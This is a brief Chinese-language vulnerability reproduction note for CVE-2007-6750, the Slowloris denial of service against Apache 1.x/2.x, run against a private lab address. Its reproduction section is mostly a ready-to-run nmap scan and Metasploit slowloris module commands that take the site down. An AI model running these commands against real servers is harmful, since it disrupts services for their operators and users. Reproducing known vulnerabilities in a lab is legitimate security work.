001-CVE-2007-6750 Apache DDOS.md

805 B / 2021-07-17 00:01:22
    # CVE-2007-6750 Apache DDOS

## 漏洞简介

Apache HTTP服务器1.x和2.x允许远程攻击者通过部分HTTP请求导致拒绝服务(守护进程中断)，如Slowloris所示，这与2.2.15之前版本中缺少mod_ReqTimeout模块有关

## 漏洞影响

Apache 1.x/2.x

## 复现过程

`nmap -sV -p80 192.168.146.175` (用nmap查看Apache版本)(Apache2.2.3初步断定存在漏洞)

![](images/15889275046581.png)


接着访问网站查看是否正常(发现网站正常)

![](images/15889275117906.png)



```bash
msfconsole(启动metasploit)
use auxiliary/dos/http/slowloris(使用模块)
set RHOST 192.168.146.175(设置目标IP)
run(执行攻击)
```

![](images/15889275547772.png)


再访问网站查看是否正常(发现网站瘫痪)

### 参考链接

https://www.jsxlo.com/cve-2007-6750/